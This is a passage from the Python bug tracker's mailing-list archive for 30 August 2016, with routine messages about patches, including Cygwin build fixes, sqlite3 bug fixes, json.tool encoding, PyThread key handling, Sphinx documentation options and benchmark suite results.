`PYTHON_FOR_BUILD` in configure.ac with `env` makes the whole build work again. >From the message seems plat-* directories are re-generated with a different name. Is it expected? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 04:20:21 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Tue, 30 Aug 2016 08:20:21 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <1472545221.15.0.0695396128204.issue23968@psf.upfronthosting.co.za> Chi Hsuan Yen added the comment: Oh didn't see the title of this issue. Here's the patch for Android. ---------- Added file: https://bugs.python.org/file44260/issue23968-android-regression.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 04:40:42 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 30 Aug 2016 08:40:42 +0000 Subject: [issue27891] Consistently group and sort imports within idlelib modules. In-Reply-To: <1472521619.5.0.761842088013.issue27891@psf.upfronthosting.co.za> Message-ID: <1472546442.0.0.241704164438.issue27891@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Part of previous message should be 'at the top where it belongs'. With attached patch, each file compiles and (incomplete) tests pass. Will examine each with side-by-side diff. There might be artifacts from another patch left. ---------- keywords: +patch Added file: https://bugs.python.org/file44261/imports-27891.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 04:44:01 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 30 Aug 2016 08:44:01 +0000 Subject: [issue27891] Consistently group and sort imports within idlelib modules. In-Reply-To: <1472521619.5.0.761842088013.issue27891@psf.upfronthosting.co.za> Message-ID: <1472546641.16.0.946112962118.issue27891@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Followup is #27892 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 06:03:42 2016 From: report at bugs.python.org (Erik Bray) Date: Tue, 30 Aug 2016 10:03:42 +0000 Subject: [issue21085] compile error Python3.3 on Cygwin In-Reply-To: <1396019829.85.0.386935527155.issue21085@psf.upfronthosting.co.za> Message-ID: <1472551422.22.0.299870131609.issue21085@psf.upfronthosting.co.za> Changes by Erik Bray : Added file: https://bugs.python.org/file44262/tip-issue21085-struct_siginfo-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 06:03:54 2016 From: report at bugs.python.org (Erik Bray) Date: Tue, 30 Aug 2016 10:03:54 +0000 Subject: [issue21085] compile error Python3.3 on Cygwin In-Reply-To: <1396019829.85.0.386935527155.issue21085@psf.upfronthosting.co.za> Message-ID: <1472551434.33.0.63187028994.issue21085@psf.upfronthosting.co.za> Changes by Erik Bray : Added file: https://bugs.python.org/file44263/3.4-issue21085-struct_siginfo-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 06:04:04 2016 From: report at bugs.python.org (Erik Bray) Date: Tue, 30 Aug 2016 10:04:04 +0000 Subject: [issue21085] compile error Python3.3 on Cygwin In-Reply-To: <1396019829.85.0.386935527155.issue21085@psf.upfronthosting.co.za> Message-ID: <1472551444.91.0.784594783002.issue21085@psf.upfronthosting.co.za> Changes by Erik Bray : Added file: https://bugs.python.org/file44264/3.3-issue21085-struct_siginfo-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 06:09:03 2016 From: report at bugs.python.org (Erik Bray) Date: Tue, 30 Aug 2016 10:09:03 +0000 Subject: [issue21085] compile error Python3.3 on Cygwin In-Reply-To: <1396019829.85.0.386935527155.issue21085@psf.upfronthosting.co.za> Message-ID: <1472551743.32.0.896488334491.issue21085@psf.upfronthosting.co.za> Erik Bray added the comment: I've reviewed masamoto's last patch 3.5-issue21085-struct_siginfo-2.patch It applies cleanly and allows the signals module to compile on Cygwin64 2.5.1 / Windows 10. I attached versions of the patch that apply cleanly to tip, 3.4, and 3.3 as well. However, even with this issue resolved it can't be fully tested because there are other open issues preventing a successful build on Cygwin, including issue25658 and issue13756 Would it be ok to commit this even though it doesn't resolve all build issues? Or should I try to cobble together a meta-issue of current known build issues and make sure they all have working patches first? ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 06:36:24 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 30 Aug 2016 10:36:24 +0000 Subject: [issue17909] Autodetecting JSON encoding In-Reply-To: <1367759430.76.0.988181674037.issue17909@psf.upfronthosting.co.za> Message-ID: <1472553384.76.0.763353776376.issue17909@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Hi Serhiy, I have reviewed your patch, it seems to be ok. ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 06:38:52 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 30 Aug 2016 10:38:52 +0000 Subject: [issue17909] Autodetecting JSON encoding In-Reply-To: <1367759430.76.0.988181674037.issue17909@psf.upfronthosting.co.za> Message-ID: <1472553532.55.0.534191322281.issue17909@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 06:51:23 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 30 Aug 2016 10:51:23 +0000 Subject: [issue27818] Speed up number format spec parsing In-Reply-To: <1471722206.62.0.0499297323883.issue27818@psf.upfronthosting.co.za> Message-ID: <1472554283.04.0.422477103817.issue27818@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 06:51:58 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 30 Aug 2016 10:51:58 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472554318.43.0.657716515971.issue27861@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 07:02:07 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 30 Aug 2016 11:02:07 +0000 Subject: [issue27881] Fix possible bugs when setting sqlite3.Connection.isolation_level In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za> Message-ID: <1472554927.36.0.104697853524.issue27881@psf.upfronthosting.co.za> Xiang Zhang added the comment: Serhiy, I've updated the patch. Looking forward to your feedback. ---------- Added file: https://bugs.python.org/file44265/issue27881_v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 07:20:53 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 30 Aug 2016 11:20:53 +0000 Subject: [issue27881] Fix possible bugs when setting sqlite3.Connection.isolation_level In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za> Message-ID: <1472556053.48.0.739871576018.issue27881@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: In general LGTM. But added several style comments. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 07:36:21 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 30 Aug 2016 11:36:21 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472556981.11.0.185073384989.issue27413@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The last change just sweeps a problem under a rug. For now json.tool never fails with valid data. But with the --no-ensure-ascii option it can fail when output a string not encodable with the locale encoding. All can work with common cases on common UTF-8 environment, but unexpectedly fail on nonstandard environment. It would be better to output encodable characters as is and represent unencodable characters with \uXXXX encoding. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 08:18:16 2016 From: report at bugs.python.org (Dima Tisnek) Date: Tue, 30 Aug 2016 12:18:16 +0000 Subject: [issue25596] Use scandir() to speed up the glob module In-Reply-To: <1447154287.89.0.207791672282.issue25596@psf.upfronthosting.co.za> Message-ID: <1472559496.14.0.690496528571.issue25596@psf.upfronthosting.co.za> Dima Tisnek added the comment: Who can review Serhiy's patch? P.S. core of the patch seems good to me, but I'm not an expert on stdlib. ---------- nosy: +Dima.Tisnek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 08:40:55 2016 From: report at bugs.python.org (Andre Merzky) Date: Tue, 30 Aug 2016 12:40:55 +0000 Subject: [issue27889] ctypes interfers with signal handling In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za> Message-ID: <1472560855.04.0.670952479991.issue27889@psf.upfronthosting.co.za> Andre Merzky added the comment: I can confirm the same unexpected behavior for Python 2.7.6 / Linux radical 4.2.0-25-generic #30~14.04.1-Ubuntu (2nd attempt) Python 2.7.9 / Linux login1.stampede.tacc.utexas.edu 2.6.32-431.17.1.el6.x86_64 (32nd attempt) Python 2.7.10 / Linux gordon-ln2.sdsc.edu 2.6.32-431.29.2.el6.x86_64 (5th attempt) Any suggestion for further testing? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 08:47:29 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 30 Aug 2016 12:47:29 +0000 Subject: [issue27881] Fix possible bugs when setting sqlite3.Connection.isolation_level In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za> Message-ID: <1472561249.8.0.563578571588.issue27881@psf.upfronthosting.co.za> Xiang Zhang added the comment: Leave replies and make a trival change in v3. I don't change the other two just as I state in the replies. But please do what you like. ---------- Added file: https://bugs.python.org/file44266/issue27881_v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 09:15:51 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 30 Aug 2016 13:15:51 +0000 Subject: [issue21085] compile error Python3.3 on Cygwin In-Reply-To: <1396019829.85.0.386935527155.issue21085@psf.upfronthosting.co.za> Message-ID: <1472562951.75.0.508928348662.issue21085@psf.upfronthosting.co.za> R. David Murray added the comment: I think it would be reasonable to apply it, unless other devs object, given your confirmation that it solves this particular problem (and, looking at the code, it won't break anything...which the buildbots will confirm). This will only be applied to 3.5 and 3.6, since this is not a security issue. I've updated the versions accordingly. ---------- versions: +Python 3.6 -Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 09:48:09 2016 From: report at bugs.python.org (INADA Naoki) Date: Tue, 30 Aug 2016 13:48:09 +0000 Subject: [issue27350] Compact and ordered dict In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za> Message-ID: <1472564889.17.0.41923848086.issue27350@psf.upfronthosting.co.za> Changes by INADA Naoki : Added file: https://bugs.python.org/file44267/compact-dict.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 09:50:24 2016 From: report at bugs.python.org (Christian Heimes) Date: Tue, 30 Aug 2016 13:50:24 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> Message-ID: <1472565024.36.0.474070705795.issue27744@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: https://bugs.python.org/file44268/AF_ALG-kernel-crypto-support-for-socket-module-3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 09:53:18 2016 From: report at bugs.python.org (Erik Bray) Date: Tue, 30 Aug 2016 13:53:18 +0000 Subject: [issue25658] PyThread assumes pthread_key_t is an integer, which is against POSIX In-Reply-To: <1447861816.88.0.632584646231.issue25658@psf.upfronthosting.co.za> Message-ID: <1472565198.76.0.929651616298.issue25658@psf.upfronthosting.co.za> Erik Bray added the comment: Here's a first stab at a patch for this. A linked list is maintained which maps pthread_key_t instances to an int "key_id" that is used for the PyThread API. Each function needs to map a given key_id to the actual pthread_key_t. This adds a little bit of overhead of course, but in typical usage I don't think there are many entries in this list to loop over. This also reverts the change from #22206 which is no longer relevant. No synchronization is provided for PyThread_create_key and PyThread_delete_key, but in typical usage that would be the user's responsibility anyways. Otherwise every PyThread_*_key function would have to have a mutex around it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 09:53:40 2016 From: report at bugs.python.org (Erik Bray) Date: Tue, 30 Aug 2016 13:53:40 +0000 Subject: [issue25658] PyThread assumes pthread_key_t is an integer, which is against POSIX In-Reply-To: <1447861816.88.0.632584646231.issue25658@psf.upfronthosting.co.za> Message-ID: <1472565220.46.0.53637435321.issue25658@psf.upfronthosting.co.za> Changes by Erik Bray : ---------- keywords: +patch Added file: https://bugs.python.org/file44269/issue25658-1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 09:54:04 2016 From: report at bugs.python.org (Erik Bray) Date: Tue, 30 Aug 2016 13:54:04 +0000 Subject: [issue25658] PyThread assumes pthread_key_t is an integer, which is against POSIX In-Reply-To: <1447861816.88.0.632584646231.issue25658@psf.upfronthosting.co.za> Message-ID: <1472565244.18.0.358112453149.issue25658@psf.upfronthosting.co.za> Changes by Erik Bray : ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 10:15:40 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 14:15:40 +0000 Subject: [issue27818] Speed up number format spec parsing In-Reply-To: <1472554283.08.0.761620274875.issue27818@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > Moving some functions to template file adds yet about 2%. This is too small for adding new file. I agree. I checked just after writing my previous comment and in fact str%args doesn't use a C template neither, it also uses PyUnicode_READ() which is fine. The code is probably already fast enough. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 10:55:26 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 14:55:26 +0000 Subject: [issue27893] BytesParser.parsebytes docstring fix Message-ID: <1472568926.47.0.711981476695.issue27893@psf.upfronthosting.co.za> Changes by Ville Skytt? : ---------- assignee: docs at python components: Documentation files: parser.patch keywords: patch nosy: docs at python, scop priority: normal severity: normal status: open title: BytesParser.parsebytes docstring fix type: enhancement Added file: http://bugs.python.org/file44270/parser.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 11:05:23 2016 From: report at bugs.python.org (Erik Bray) Date: Tue, 30 Aug 2016 15:05:23 +0000 Subject: [issue2445] Use The CygwinCCompiler Under Cygwin In-Reply-To: <1206117698.01.0.240143600903.issue2445@psf.upfronthosting.co.za> Message-ID: <1472569523.47.0.411567530244.issue2445@psf.upfronthosting.co.za> Erik Bray added the comment: I have confirmed Masayuki's patch (3.4-distutils-shlibext.patch) fixes a few build issues on Cygwin. At its core, what it's fixing is allowing UnixCCompiler.find_library_file to find import libraries on Cygwin. That in turn is necessary for --with-system-ffi to work, which is currently needed; on Cygwin64 at least the ffi compile as part of _ctypes fails (a separate issue to be addressed separately). But in the meantime making --with-system-ffi work again goes a long way. It should be noted there is a patch at #18654 to make the CygwinCCompiler class work again, and switch to using it to handle Cygwin-specific build issues as origially intended. I intend to review that ticket and spend some time on it, but it's more complex and not necessarily the simplest way forward. In the meantime this one-line patch accomplishes a fair bit. ---------- nosy: +erik.bray stage: patch review -> commit review versions: +Python 3.6 -Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 11:10:36 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 15:10:36 +0000 Subject: [issue25658] PyThread assumes pthread_key_t is an integer, which is against POSIX In-Reply-To: <1447861816.88.0.632584646231.issue25658@psf.upfronthosting.co.za> Message-ID: <1472569836.8.0.728387789254.issue25658@psf.upfronthosting.co.za> STINNER Victor added the comment: -1 for your change issue25658-1.patch. It adds a O(n) slowdown to PyThread_set_key_value() whereas the performance of this function matters. Moreover, the code currently works fine on Linux, I fail to see why we should make Python slower to support a new platform. The PEP 11 explains the criteria to support a new platform in Python. Before we start to officially support CloudABI, you should start to work on a fork. When you will get enough users and have a better view of all requires changes, you can come back with a full plan to support officially this platform. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 11:22:11 2016 From: report at bugs.python.org (Christian Heimes) Date: Tue, 30 Aug 2016 15:22:11 +0000 Subject: [issue2445] Use The CygwinCCompiler Under Cygwin In-Reply-To: <1206117698.01.0.240143600903.issue2445@psf.upfronthosting.co.za> Message-ID: <1472570531.36.0.924891398104.issue2445@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- nosy: -christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 11:28:58 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 15:28:58 +0000 Subject: [issue27894] Fix to_addrs refs in smtplib docs Message-ID: <1472570938.45.0.100584989236.issue27894@psf.upfronthosting.co.za> Changes by Ville Skytt? : ---------- assignee: docs at python components: Documentation files: smtplib-doc.patch keywords: patch nosy: docs at python, scop priority: normal severity: normal status: open title: Fix to_addrs refs in smtplib docs type: enhancement Added file: http://bugs.python.org/file44271/smtplib-doc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 11:44:35 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 15:44:35 +0000 Subject: [issue27895] Spelling fixes Message-ID: <1472571866.64.0.0406128913335.issue27895@psf.upfronthosting.co.za> Changes by Ville Skytt? : ---------- assignee: docs at python components: Documentation files: spelling.patch keywords: patch nosy: docs at python, scop priority: normal severity: normal status: open title: Spelling fixes type: enhancement Added file: http://bugs.python.org/file44272/spelling.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 11:49:19 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 15:49:19 +0000 Subject: [issue27895] Spelling fixes Message-ID: <1472572159.02.0.865960553641.issue27895@psf.upfronthosting.co.za> Changes by Ville Skytt? : Removed file: http://bugs.python.org/file44272/spelling.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 11:49:58 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 15:49:58 +0000 Subject: [issue27895] Spelling fixes Message-ID: <1472572198.77.0.701704101824.issue27895@psf.upfronthosting.co.za> Changes by Ville Skytt? : Added file: http://bugs.python.org/file44273/spelling2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 11:52:16 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 15:52:16 +0000 Subject: [issue27895] Spelling fixes Message-ID: <1472572336.13.0.780996032066.issue27895@psf.upfronthosting.co.za> Changes by Ville Skytt? : Removed file: http://bugs.python.org/file44273/spelling2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 11:52:00 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 15:52:00 +0000 Subject: [issue27895] Spelling fixes Message-ID: <1472572320.87.0.835471917999.issue27895@psf.upfronthosting.co.za> Changes by Ville Skytt? : Added file: http://bugs.python.org/file44274/spelling3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:01:36 2016 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 30 Aug 2016 16:01:36 +0000 Subject: [issue11734] Add half-float (16-bit) support to struct module In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za> Message-ID: <1472572896.63.0.831063996949.issue11734@psf.upfronthosting.co.za> Mark Dickinson added the comment: Thanks, Raymond. I'll do a final pass and aim to apply this in the next couple of days. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:03:39 2016 From: report at bugs.python.org (Julien) Date: Tue, 30 Aug 2016 16:03:39 +0000 Subject: [issue27896] Allow passing sphinx options to Doc/Makefile Message-ID: <1472573019.01.0.777773652271.issue27896@psf.upfronthosting.co.za> New submission from Julien: Context: - Providing french translation to docs.python.rg/fr/: http://bugs.python.org/issue26546 - Simplifying my first proposition of docsbuild-scripts: https://github.com/python/docsbuild-scripts/pull/1 Goals: - Simplify my modifications of docsbuild-scripts to make it more robust - Avoid executing external (~untrusted) Makefile on docs.python.org servers To achieve this, I need the ``Doc/Makefile`` to be sufficient to build internationalized versions by passing sphinx options to it, I'd like to call, typically: make autobuild-stable SPHINXOPTS='-D language=fr -D locale_dirs=./locale/' Which work if `Doc/Makefile` don't erase but append to the `SPHINXOPTS` variable. Which is done by `allow_sphinxopts.diff`. We may simplify it further by adding `locale_dirs` to `Doc/conf.py` which does not break the english build, but I'm not sure if it's of any interest. We may abstract it further by accepting a new parameter like SPHINXLANG='fr', with a default of 'en', but in every case I think it's a good thing to allow passing arbitrary SPHINXOPTS so let's start with this? ---------- assignee: docs at python components: Documentation files: allow_sphinxopts.diff keywords: patch messages: 273921 nosy: docs at python, sizeof priority: normal severity: normal status: open title: Allow passing sphinx options to Doc/Makefile versions: Python 3.6 Added file: http://bugs.python.org/file44275/allow_sphinxopts.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:12:28 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 16:12:28 +0000 Subject: [issue26284] Fix telco benchmark In-Reply-To: <1454596081.41.0.621997504219.issue26284@psf.upfronthosting.co.za> Message-ID: <1472573548.88.0.683919160071.issue26284@psf.upfronthosting.co.za> STINNER Victor added the comment: I worked on a new version of the benchmark suite, it is now called performance and moved to GitHub: https://github.com/python/performance In performance 0.1.2, bm_telco.py uses BytesIO for input and six.StringIO for output. The output is just one number per line, it's different than http://bugs.python.org/file41802/telco_haypo.py output. I don't know which benchmark is "right". I believe that bm_telco.py of performance is now much more stable thanks to the perf module which runs the benchmark in multiple processes (20 by default). It helps to get a better distribution of samples. Example: $ python3 -m performance run -b telco -o telco.json (...) $ python3 -m perf show --hist --stats --metadata telco.json Metadata: - aslr: Full randomization - cpu_config: 0-7=driver:intel_pstate, intel_pstate:no turbo, governor:powersave - cpu_count: 8 - cpu_model_name: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz - description: Telco decimal benchmark - hostname: smithers - loops: 8 - name: telco - perf_version: 0.7.4 - platform: Linux-4.5.7-300.fc24.x86_64-x86_64-with-fedora-24-Twenty_Four - python_executable: /home/haypo/prog/python/performance/venv/cpython3.5-da07a9f70715/bin/python - python_implementation: cpython - python_version: 3.5.1 (64bit) - timer: clock_gettime(CLOCK_MONOTONIC), resolution: 1.00 ns 22.7 ms: 18 ##################################################### 23.0 ms: 27 ############################################################################### 23.4 ms: 7 #################### 23.7 ms: 1 ### 24.1 ms: 2 ###### 24.4 ms: 1 ### 24.7 ms: 0 | 25.1 ms: 1 ### 25.4 ms: 0 | 25.8 ms: 0 | 26.1 ms: 0 | 26.5 ms: 0 | 26.8 ms: 0 | 27.1 ms: 0 | 27.5 ms: 0 | 27.8 ms: 0 | 28.2 ms: 0 | 28.5 ms: 0 | 28.9 ms: 1 ### 29.2 ms: 1 ### 29.5 ms: 1 ### Total duration: 15.1 sec Start date: 2016-08-30T18:09:49 End date: 2016-08-30T18:10:07 Raw sample minimum: 182 ms Raw sample maximum: 237 ms Number of runs: 20 Total number of samples: 60 Number of samples per run: 3 Number of warmups per run: 1 Loop iterations per sample: 8 Minimum: 22.8 ms (-2%) Median +- std dev: 23.2 ms +- 1.4 ms Mean +- std dev: 23.6 ms +- 1.4 ms Maximum: 29.7 ms (+28%) Median +- std dev: 23.2 ms +- 1.4 ms The histogram helps to see that there is no such "minimum", but more a gaussian curve. The perf module uses the median of samples rather than the minimum, it also displays and computes the standard deviation by default. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:13:20 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 16:13:20 +0000 Subject: [issue26275] perf.py: calibrate benchmarks using time, not using a fixed number of iterations In-Reply-To: <1454495929.85.0.601853644385.issue26275@psf.upfronthosting.co.za> Message-ID: <1472573600.0.0.638985816546.issue26275@psf.upfronthosting.co.za> STINNER Victor added the comment: This issue was fixed in the new flavor of the benchmark, the new performance project: https://github.com/python/performance ---------- dependencies: -Fix telco benchmark resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:19:38 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 16:19:38 +0000 Subject: [issue25423] Deprecate benchmarks that execute too quickly In-Reply-To: <1445016719.35.0.429724365495.issue25423@psf.upfronthosting.co.za> Message-ID: <1472573978.81.0.033030278324.issue25423@psf.upfronthosting.co.za> STINNER Victor added the comment: I believe that this issue was indirectly fixed by the issue #26275. The new flavor of the benchmark suite now calibrates (computes the number of outter loop iterations) each benchmark based on time, no more using a fixed number of loop iteartions. Brett: Can you please confirm that the issue was fixed in the new performance benchmark suite? https://github.com/python/performance -------- $ python3 -m performance run -b silent_logging,unpack_sequence --fast -o json Python benchmark suite 0.1.3dev (...) Report on Linux smithers 4.5.7-300.fc24.x86_64 #1 SMP Wed Jun 8 18:12:45 UTC 2016 x86_64 x86_64 Total CPU cores: 8 ### logging/no_output ### Median +- std dev: 809 ns +- 16 ns ### unpack_sequence ### Median +- std dev: 120 ns +- 4 ns -------- * silent_logging used 10 inner-loops and 2^14 outter-loops * unpack_sequence used 400 inner-loops and 4096 outter-loops You can you this using the "python3 -m perf dump -v json" command on the output JSON file (search for "loop"). ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:20:31 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 16:20:31 +0000 Subject: [issue26284] Fix telco benchmark In-Reply-To: <1454596081.41.0.621997504219.issue26284@psf.upfronthosting.co.za> Message-ID: <1472574031.13.0.821964866698.issue26284@psf.upfronthosting.co.za> STINNER Victor added the comment: @Stefan: Can you please check bm_telco.py and maybe propose a pull request if something is wrong? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:22:27 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 16:22:27 +0000 Subject: [issue22881] show median in benchmark results In-Reply-To: <1416131417.96.0.330173729737.issue22881@psf.upfronthosting.co.za> Message-ID: <1472574147.27.0.93696665148.issue22881@psf.upfronthosting.co.za> STINNER Victor added the comment: The new https://github.com/python/performance benchmark suite now displays the median rather than the arithmetic mean (average) by default (it also displays the standard deviation). See the perf issue for a discussion about median vs mean: https://github.com/haypo/perf/issues/1 Can we now close this issue? ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:22:28 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 30 Aug 2016 16:22:28 +0000 Subject: [issue27897] Avoid possible crash in pysqlite_connection_create_collation Message-ID: <1472574148.53.0.8247324722.issue27897@psf.upfronthosting.co.za> New submission from Xiang Zhang: When supplied a custom string with upper returning a non-string, pysqlite_connection_create_collation will fail assertion and crash. Serhiy, I think we can use the same way in set_isolation_level to avoid this. ---------- components: Library (Lib) files: create_collation.patch keywords: patch messages: 273927 nosy: serhiy.storchaka, xiang.zhang priority: normal severity: normal status: open title: Avoid possible crash in pysqlite_connection_create_collation type: crash versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44276/create_collation.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:23:01 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 16:23:01 +0000 Subject: [issue22458] Add fractions benchmark In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za> Message-ID: <1472574181.28.0.323280716124.issue22458@psf.upfronthosting.co.za> STINNER Victor added the comment: Can you please send a pull request to the new https://github.com/python/performance project? ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:26:14 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 16:26:14 +0000 Subject: [issue19108] Benchmark runner tries to execute external Python command and fails on error reporting In-Reply-To: <1380297636.45.0.339184347104.issue19108@psf.upfronthosting.co.za> Message-ID: <1472574374.46.0.248809402434.issue19108@psf.upfronthosting.co.za> STINNER Victor added the comment: The new https://github.com/python/performance benchmark suite has a very different design than the old https://hg.python.org/benchmarks benchmark suite: * it now only runs benchmarks in a virtual environment * dependencies are installed in the venv by pip * there is a "run" command which now accepts a --python=PYTHON option to choose the Python binary (and so the tested Python version) There is no more such thing as ported_lib(). Can I now close this issue as outdated, or do you consider that performance still has this issue? ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:27:00 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 30 Aug 2016 16:27:00 +0000 Subject: [issue18899] make pystone.py Py3 compatible in benchmark suite In-Reply-To: <1378056891.98.0.165106942337.issue18899@psf.upfronthosting.co.za> Message-ID: <1472574420.51.0.176163877965.issue18899@psf.upfronthosting.co.za> STINNER Victor added the comment: > Oh, pystone... I didn't know we had included that particular horror in the 